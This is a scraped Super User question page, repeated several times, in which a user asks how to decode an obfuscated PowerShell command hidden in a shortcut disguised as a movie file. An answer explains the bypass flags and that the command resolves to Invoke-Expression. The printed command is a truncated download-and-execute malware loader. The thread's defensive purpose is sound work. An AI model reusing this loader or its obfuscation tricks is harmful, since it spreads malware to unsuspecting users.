How to decode possible malware powershell command
I got a file which should have been a movie but turned out to be a shortcut to execute a powershell command. The details are:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoPr -WINd 1 -eXEc ByP &( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')( ('73w69Y88!40%78%101Y119%45!79c98!106%101!99!116c32c83G121Y115w116v101!109c46w78w101%116u46v87c101Y98%67%108b105:101w110G116%.
Can someone advise what this powershell command would do or where I can find details of how to decode it
Thanks
powershell malware
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
add a comment |
I got a file which should have been a movie but turned out to be a shortcut to execute a powershell command. The details are:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoPr -WINd 1 -eXEc ByP &( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')( ('73w69Y88!40%78%101Y119%45!79c98!106%101!99!116c32c83G121Y115w116v101!109c46w78w101%116u46v87c101Y98%67%108b105:101w110G116%.
Can someone advise what this powershell command would do or where I can find details of how to decode it
Thanks
powershell malware
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
[1] runpowershell.exe /?to see what the 1st three-somethingitems are. [2] run( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')to see what that is. if you are not familiar with aliases, runGet-Aliaswith the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.
– Lee_Dailey
Dec 29 '18 at 13:35
Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.
– root
Dec 29 '18 at 19:02
The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.
– kfbnlet
Dec 30 '18 at 12:55
Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.
– kfbnlet
Dec 30 '18 at 12:57
Thanks everybody for all the help
– kfbnlet
Dec 30 '18 at 12:57
add a comment |
I got a file which should have been a movie but turned out to be a shortcut to execute a powershell command. The details are:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoPr -WINd 1 -eXEc ByP &( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')( ('73w69Y88!40%78%101Y119%45!79c98!106%101!99!116c32c83G121Y115w116v101!109c46w78w101%116u46v87c101Y98%67%108b105:101w110G116%.
Can someone advise what this powershell command would do or where I can find details of how to decode it
Thanks
powershell malware
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
I got a file which should have been a movie but turned out to be a shortcut to execute a powershell command. The details are:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoPr -WINd 1 -eXEc ByP &( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')( ('73w69Y88!40%78%101Y119%45!79c98!106%101!99!116c32c83G121Y115w116v101!109c46w78w101%116u46v87c101Y98%67%108b105:101w110G116%.
Can someone advise what this powershell command would do or where I can find details of how to decode it
Thanks
powershell malware
powershell malware
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
edited Dec 29 '18 at 21:16
DavidPostill♦
104k25225259
104k25225259
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
asked Dec 29 '18 at 12:32
kfbnletkfbnlet
1
1
[1] runpowershell.exe /?to see what the 1st three-somethingitems are. [2] run( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')to see what that is. if you are not familiar with aliases, runGet-Aliaswith the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.
– Lee_Dailey
Dec 29 '18 at 13:35
Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.
– root
Dec 29 '18 at 19:02
The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.
– kfbnlet
Dec 30 '18 at 12:55
Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.
– kfbnlet
Dec 30 '18 at 12:57
Thanks everybody for all the help
– kfbnlet
Dec 30 '18 at 12:57
add a comment |
[1] runpowershell.exe /?to see what the 1st three-somethingitems are. [2] run( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')to see what that is. if you are not familiar with aliases, runGet-Aliaswith the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.
– Lee_Dailey
Dec 29 '18 at 13:35
Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.
– root
Dec 29 '18 at 19:02
The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.
– kfbnlet
Dec 30 '18 at 12:55
Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.
– kfbnlet
Dec 30 '18 at 12:57
Thanks everybody for all the help
– kfbnlet
Dec 30 '18 at 12:57
[1] run
powershell.exe /? to see what the 1st three -something items are. [2] run ( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'') to see what that is. if you are not familiar with aliases, run Get-Alias with the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.– Lee_Dailey
Dec 29 '18 at 13:35
[1] run
powershell.exe /? to see what the 1st three -something items are. [2] run ( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'') to see what that is. if you are not familiar with aliases, run Get-Alias with the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.– Lee_Dailey
Dec 29 '18 at 13:35
Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.
– root
Dec 29 '18 at 19:02
Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.
– root
Dec 29 '18 at 19:02
The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.
– kfbnlet
Dec 30 '18 at 12:55
The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.
– kfbnlet
Dec 30 '18 at 12:55
Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.
– kfbnlet
Dec 30 '18 at 12:57
Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.
– kfbnlet
Dec 30 '18 at 12:57
Thanks everybody for all the help
– kfbnlet
Dec 30 '18 at 12:57
Thanks everybody for all the help
– kfbnlet
Dec 30 '18 at 12:57
add a comment |
1 Answer
1
active
oldest
votes
powershell.exe -NoPr -WINd 1 -eXEc ByP is powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy bypass
The command it tries to execute $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'' is actually iex which is an alias for Invoke-Expression
I believe you've missed a part of the command line so it's hard to tell what the rest of it means.
answered Dec 29 '18 at 13:36
montoneromontonero
1361
add a comment |
Your Answer
StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "3"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});
function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});
}
});
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1388724%2fhow-to-decode-possible-malware-powershell-command%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
1 Answer
1
active
oldest
votes
1 Answer
1
active
oldest
votes
active
oldest
votes
active
oldest
votes
powershell.exe -NoPr -WINd 1 -eXEc ByP is powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy bypass
The command it tries to execute $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'' is actually iex which is an alias for Invoke-Expression
I believe you've missed a part of the command line so it's hard to tell what the rest of it means.
answered Dec 29 '18 at 13:36
montoneromontonero
1361
add a comment |
powershell.exe -NoPr -WINd 1 -eXEc ByP is powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy bypass
The command it tries to execute $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'' is actually iex which is an alias for Invoke-Expression
I believe you've missed a part of the command line so it's hard to tell what the rest of it means.
answered Dec 29 '18 at 13:36
montoneromontonero
1361
add a comment |
powershell.exe -NoPr -WINd 1 -eXEc ByP is powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy bypass
The command it tries to execute $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'' is actually iex which is an alias for Invoke-Expression
I believe you've missed a part of the command line so it's hard to tell what the rest of it means.
answered Dec 29 '18 at 13:36
montoneromontonero
1361
powershell.exe -NoPr -WINd 1 -eXEc ByP is powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy bypass
The command it tries to execute $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'' is actually iex which is an alias for Invoke-Expression
I believe you've missed a part of the command line so it's hard to tell what the rest of it means.
answered Dec 29 '18 at 13:36
montoneromontonero
1361
answered Dec 29 '18 at 13:36
montoneromontonero
1361
answered Dec 29 '18 at 13:36
montoneromontonero
1361
answered Dec 29 '18 at 13:36
montoneromontonero
1361
1361
add a comment |
add a comment |
Thanks for contributing an answer to Super User!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1388724%2fhow-to-decode-possible-malware-powershell-command%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
[1] run
powershell.exe /?to see what the 1st three-somethingitems are. [2] run( $verBOSEprefeREncE.TOstRING()[1,3]+'x'-joiN'')to see what that is. if you are not familiar with aliases, runGet-Aliaswith the output of that. [3] the remainder is likely the beginning of a base64 encoded command. it is NOT all there, so there is no way to be sure of that.– Lee_Dailey
Dec 29 '18 at 13:35
Do not run any portion of the command if you are not sure what you are doing and you believe the command to be malicious.
– root
Dec 29 '18 at 19:02
The file (while 750MB in size and appearing to be a movie file) is actually a shortcut and the command line above is the target of the shortcut. I've checked and there is nothing else there so if there is anything missing it must somehow be in the payload.
– kfbnlet
Dec 30 '18 at 12:55
Prematurely posted previous comment. Ran Malwarebytes which identified a Trojan installation install around the time I ran the shortcut so it was malware.
– kfbnlet
Dec 30 '18 at 12:57
Thanks everybody for all the help
– kfbnlet
Dec 30 '18 at 12:57